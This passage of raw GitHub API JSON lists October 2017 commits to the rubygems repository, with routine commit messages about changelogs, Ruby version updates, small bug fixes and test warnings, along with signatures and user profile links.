o}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"bdefd39ff0e9ca5dd3fb259ffe40cd6c93792227","url":"https://api.github.com/repos/rubygems/rubygems/commits/bdefd39ff0e9ca5dd3fb259ffe40cd6c93792227","html_url":"https://github.com/rubygems/rubygems/commit/bdefd39ff0e9ca5dd3fb259ffe40cd6c93792227"}]},{"sha":"bdefd39ff0e9ca5dd3fb259ffe40cd6c93792227","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-30T10:56:50Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-30T10:56:50Z"},"message":"Generate and categorize changelog items for RG 2.7.0 releases.","tree":{"sha":"f28f1b58c4b0d0300bb808ebcdb19cc5c61b943c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f28f1b58c4b0d0300bb808ebcdb19cc5c61b943c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/bdefd39ff0e9ca5dd3fb259ffe40cd6c93792227","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAln3BXMACgkQ+c8TQXJk\n+sIimggAwDxihqatnkDrwfEviUGKNx2Co9uHc39YKaQSU46djFuHXWuFvxfqcnbr\nerqsRXb7wJgRB15l2la/3NtUTUhMy0TbuSuSZ0DWE0Myni1YxCVYqe2Xr8xTK5i4\nRz5gROH+0xpL9H+Y+Iux7mzeGgosT+bVVhwP+gltr0XW0Y8h7xDi2u8gfaRtNo4e\nuh53WeMSf4X5HZfC1hUCbNzCbrRZYvgAANivq4EEvTmfPTpPuYeFv0LWExa5+guH\nY3+f3yYuCJrQSOcTip2x+23/MAaro6KEQe/C7ah42NH9zB1s9N1y/5RIK209PRFZ\n6+Jeel1UQso8V46/0i9SGvwBhWe9iQ==\n=h10G\n-----END PGP SIGNATURE-----","payload":"tree f28f1b58c4b0d0300bb808ebcdb19cc5c61b943c\nparent 7106c8d706d63ce017c7afb696032c27c0a781a1\nauthor SHIBATA Hiroshi 1509361010 +0900\ncommitter SHIBATA Hiroshi 1509361010 +0900\n\nGenerate and categorize changelog items for RG 2.7.0 releases.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/bdefd39ff0e9ca5dd3fb259ffe40cd6c93792227","html_url":"https://github.com/rubygems/rubygems/commit/bdefd39ff0e9ca5dd3fb259ffe40cd6c93792227","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/bdefd39ff0e9ca5dd3fb259ffe40cd6c93792227/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"7106c8d706d63ce017c7afb696032c27c0a781a1","url":"https://api.github.com/repos/rubygems/rubygems/commits/7106c8d706d63ce017c7afb696032c27c0a781a1","html_url":"https://github.com/rubygems/rubygems/commit/7106c8d706d63ce017c7afb696032c27c0a781a1"}]},{"sha":"7106c8d706d63ce017c7afb696032c27c0a781a1","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-25T20:28:12Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-25T20:28:12Z"},"message":"Auto merge of #2034 - rubygems:seg-no-warning-deprecate-skip, r=olleolleolle\n\n[SafeYAML] Avoid warning when Gem::Deprecate.skip is set\n\n# Description:\n\nThis will allow Bundler to suppress the warnings, so we can get the tests passing again\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"2c7064181e4186d024c67fdb463689cda9dbb7a8","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/2c7064181e4186d024c67fdb463689cda9dbb7a8"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/7106c8d706d63ce017c7afb696032c27c0a781a1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/7106c8d706d63ce017c7afb696032c27c0a781a1","html_url":"https://github.com/rubygems/rubygems/commit/7106c8d706d63ce017c7afb696032c27c0a781a1","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/7106c8d706d63ce017c7afb696032c27c0a781a1/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"2b4a11377cc2e70df7a990eaedc6989849e7bd25","url":"https://api.github.com/repos/rubygems/rubygems/commits/2b4a11377cc2e70df7a990eaedc6989849e7bd25","html_url":"https://github.com/rubygems/rubygems/commit/2b4a11377cc2e70df7a990eaedc6989849e7bd25"},{"sha":"b32be07122b205ffa5a3bc60f1e2c540cabf6eb5","url":"https://api.github.com/repos/rubygems/rubygems/commits/b32be07122b205ffa5a3bc60f1e2c540cabf6eb5","html_url":"https://github.com/rubygems/rubygems/commit/b32be07122b205ffa5a3bc60f1e2c540cabf6eb5"}]},{"sha":"2b4a11377cc2e70df7a990eaedc6989849e7bd25","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-20T11:05:46Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-20T11:05:46Z"},"message":"Auto merge of #2047 - hsbt:update-latest-ruby, r=hsbt\n\nUse Ruby 2.2.8, 2.3.5 and 2.4.2.","tree":{"sha":"a74de22b5962ef67f71121dec7ce29cf2219ac81","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/a74de22b5962ef67f71121dec7ce29cf2219ac81"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2b4a11377cc2e70df7a990eaedc6989849e7bd25","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2b4a11377cc2e70df7a990eaedc6989849e7bd25","html_url":"https://github.com/rubygems/rubygems/commit/2b4a11377cc2e70df7a990eaedc6989849e7bd25","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2b4a11377cc2e70df7a990eaedc6989849e7bd25/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"ddbf3203f3857649abe95c73edefc7de7e6ecff4","url":"https://api.github.com/repos/rubygems/rubygems/commits/ddbf3203f3857649abe95c73edefc7de7e6ecff4","html_url":"https://github.com/rubygems/rubygems/commit/ddbf3203f3857649abe95c73edefc7de7e6ecff4"},{"sha":"558aa708e3923ae5030dd674c594fb9cbb77b61f","url":"https://api.github.com/repos/rubygems/rubygems/commits/558aa708e3923ae5030dd674c594fb9cbb77b61f","html_url":"https://github.com/rubygems/rubygems/commit/558aa708e3923ae5030dd674c594fb9cbb77b61f"}]},{"sha":"558aa708e3923ae5030dd674c594fb9cbb77b61f","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-20T09:53:48Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-20T09:53:48Z"},"message":"Use Ruby 2.2.8, 2.3.5 and 2.4.2.","tree":{"sha":"a74de22b5962ef67f71121dec7ce29cf2219ac81","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/a74de22b5962ef67f71121dec7ce29cf2219ac81"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/558aa708e3923ae5030dd674c594fb9cbb77b61f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlnpx6wACgkQ+c8TQXJk\n+sIgbAgAs8d4jZt42bvEbkB5AhtsEiMf2lmXfm/WBoPwefEiTPsaSzgcCGE6CEwD\nPZNoJmLtrUZkyXuOliJjBtJ7v5WCy8ymr0S5gevMSCdIZkwe695gmZ0IFMpG42LZ\nctAkeJuejo2kNytibRnxnWaVF4OTfHhLtuBSnlENnKrbagwkf7LdctrB0GHfRaSL\nOmVbeHZ6ro7m96o6JucWQE9Zs73yWSgryfgvEHGn1L49keBtc0KEqlIKFSTY/2fi\n1RNQ4kIgVUtxcCiZQAVD/ctMMuv3lfBKwWunw1atpRdb+GrV20KjgaQi89z01rse\nLi14FbnZk9+i7MLyxsfcCgGzU0n23A==\n=usqc\n-----END PGP SIGNATURE-----","payload":"tree a74de22b5962ef67f71121dec7ce29cf2219ac81\nparent ddbf3203f3857649abe95c73edefc7de7e6ecff4\nauthor SHIBATA Hiroshi 1508493228 +0900\ncommitter SHIBATA Hiroshi 1508493228 +0900\n\nUse Ruby 2.2.8, 2.3.5 and 2.4.2.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/558aa708e3923ae5030dd674c594fb9cbb77b61f","html_url":"https://github.com/rubygems/rubygems/commit/558aa708e3923ae5030dd674c594fb9cbb77b61f","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/558aa708e3923ae5030dd674c594fb9cbb77b61f/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"ddbf3203f3857649abe95c73edefc7de7e6ecff4","url":"https://api.github.com/repos/rubygems/rubygems/commits/ddbf3203f3857649abe95c73edefc7de7e6ecff4","html_url":"https://github.com/rubygems/rubygems/commit/ddbf3203f3857649abe95c73edefc7de7e6ecff4"}]},{"sha":"ddbf3203f3857649abe95c73edefc7de7e6ecff4","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-18T11:57:21Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-18T11:57:21Z"},"message":"Auto merge of #2042 - hsbt:fix-2041, r=hsbt\n\nFix NoMethodError on bundler/inline environment\n\nFixes #2041\n\nraw_require_paths returns nil variable when running with bundle/inline environment.","tree":{"sha":"7754c3a4a33899f2794b90d9d21a6af0a154cbc7","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7754c3a4a33899f2794b90d9d21a6af0a154cbc7"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ddbf3203f3857649abe95c73edefc7de7e6ecff4","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ddbf3203f3857649abe95c73edefc7de7e6ecff4","html_url":"https://github.com/rubygems/rubygems/commit/ddbf3203f3857649abe95c73edefc7de7e6ecff4","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ddbf3203f3857649abe95c73edefc7de7e6ecff4/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"9e99da1e79c774cbd98fa47e809abfd807a1c167","url":"https://api.github.com/repos/rubygems/rubygems/commits/9e99da1e79c774cbd98fa47e809abfd807a1c167","html_url":"https://github.com/rubygems/rubygems/commit/9e99da1e79c774cbd98fa47e809abfd807a1c167"},{"sha":"3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a","url":"https://api.github.com/repos/rubygems/rubygems/commits/3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a","html_url":"https://github.com/rubygems/rubygems/commit/3e0fb7d906741b64f84e1ac74b9a1b1362e75e8a"}]},{"sha":"9e99da1e79c774cbd98fa47e809abfd807a1c167","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-18T09:49:06Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-18T09:49:06Z"},"message":"Auto merge of #2038 - duckinator:fix-conditionals, r=hsbt\n\nDon''t use two postfix conditionals on one line.\n\n# Description:\n\nAvoid chaining postfix conditionals (`foo if bar unless baz`) because it''s hard to understand.\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [ ] Write tests -- not needed.\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"a7e182f04d833266427b4152eda2fc0e07774cd3","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/a7e182f04d833266427b4152eda2fc0e07774cd3"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/9e99da1e79c774cbd98fa47e809abfd807a1c167","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/9e99da1e79c774cbd98fa47e809abfd807a1c167","html_url":"https://github.com/rubygems/rubygems/commit/9e99da1e79c774cbd98fa47e809abfd807a1c167","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/9e99da1e79c774cbd98fa47e809abfd807a1c167/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"8a44d71b56efd51e923f589f8b2fb97512378ef0","url":"https://api.github.com/repos/rubygems/rubygems/commits/8a44d71b56efd51e923f589f8b2fb97512378ef0","html_url":"https://github.com/rubygems/rubygems/commit/8a44d71b56efd51e923f589f8b2fb97512378ef0"},{"sha":"295184237217c422c9a013e5870e2c7f91fc45dc","url":"https://api.github.com/repos/rubygems/rubygems/commits/295184237217c422c9a013e5870e2c7f91fc45dc","html_url":"https://github.com/rubygems/rubygems/commit/295184237217c422c9a013e5870e2c7f91fc45dc"}]},{"sha":"8a44d71b56efd51e923f589f8b2fb97512378ef0","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-18T09:22:24Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-18T09:22:24Z"},"message":"Auto merge of #2045 - hsbt:fix-2043, r=hsbt\n\nPicked r60194 from ruby/ruby.\n\nFixes https://github.com/rubygems/rubygems/issues/2043\n\nhttps://github.com/ruby/ruby/commit/16b6fe17a3de009085ed61947cbc0a54644f6e95","tree":{"sha":"e7cdd78ac13ef54cdaa3b3bdc7d1e6cb279d72d3","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e7cdd78ac13ef54cdaa3b3bdc7d1e6cb279d72d3"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/8a44d71b56efd51e923f589f8b2fb97512378ef0","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/8a44d71b56efd51e923f589f8b2fb97512378ef0","html_url":"https://github.com/rubygems/rubygems/commit/8a44d71b56efd51e923f589f8b2fb97512378ef0","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/8a44d71b56efd51e923f589f8b2fb97512378ef0/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"fe490dfcf0bf1f5261880e112ddc6ebd7e51270a","url":"https://api.github.com/repos/rubygems/rubygems/commits/fe490dfcf0bf1f5261880e112ddc6ebd7e51270a","html_url":"https://github.com/rubygems/rubygems/commit/fe490dfcf0bf1f5261880e112ddc6ebd7e51270a"},{"sha":"dd9be859d376555963528a3ec69dabc6061c352f","url":"https://api.github.com/repos/rubygems/rubygems/commits/dd9be859d376555963528a3ec69dabc6061c352f","html_url":"https://github.com/rubygems/rubygems/commit/dd9be859d376555963528a3ec69dabc6061c352f"}]},{"sha":"fe490dfcf0bf1f5261880e112ddc6ebd7e51270a","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-18T08:57:19Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-18T08:57:19Z"},"message":"Auto merge of #2044 - hsbt:warn-test-travis, r=hsbt\n\nTemporary disabled psych warning message for travis failure\n\nInvestigate to travis status.\n\nref https://github.com/rubygems/rubygems/pull/2034","tree":{"sha":"4055a4f1b5361c41db9c509c384998fbdeead43e","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4055a4f1b5361c41db9c509c384998fbdeead43e"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/fe490dfcf0bf1f5261880e112ddc6ebd7e51270a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/fe490dfcf0bf1f5261880e112ddc6ebd7e51270a","html_url":"https://github.com/rubygems/rubygems/commit/fe490dfcf0bf1f5261880e112ddc6ebd7e51270a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/fe490dfcf0bf1f5261880e112ddc6ebd7e51270a/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"82719151049a17987989b089c5b0d81b1b8df507","url":"https://api.github.com/repos/rubygems/rubygems/commits/82719151049a17987989b089c5b0d81b1b8df507","html_url":"https://github.com/rubygems/rubygems/commit/82719151049a17987989b089c5b0d81b1b8df507"},{"sha":"fc93274ae8ec04c9013c8f301921d8779362cf22","url":"https://api.github.com/repos/rubygems/rubygems/commits/fc93274ae8ec04c9013c8f301921d8779362cf22","html_url":"https://github.com/rubygems/rubygems/commit/fc93274ae8ec04c9013c8f301921d8779362cf22"}]},{"sha":"fc93274ae8ec04c9013c8f301921d8779362cf22","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-18T08:22:01Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-18T08:22:01Z"},"message":"Only ignored failing tests","tree":{"sha":"4055a4f1b5361c41db9c509c384998fbdeead43e","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4055a4f1b5361c41db9c509c384998fbdeead43e"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/fc93274ae8ec04c9013c8f301921d8779362cf22","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP 